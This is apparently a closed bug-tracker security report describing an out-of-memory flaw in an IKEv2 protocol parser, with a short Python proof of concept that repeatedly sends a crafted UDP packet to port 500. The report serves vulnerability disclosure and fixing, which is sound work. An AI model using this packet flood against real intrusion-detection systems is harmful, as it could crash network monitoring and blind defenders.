Actions
Security #8415
closed
PA
PA
ikev2: OOM due to unbounded client_transforms
Security #8415:
ikev2: OOM due to unbounded client_transforms
Description
The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds
POC is simply just sending the same UDP packet over and over again even if there is no server
import socket
import binascii
import time
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))
ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")
for i in range(1024):
a = server_socket.sendto(ike, ("127.0.0.1", 500))
time.sleep(0.1)
sock.close()
CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol
Actions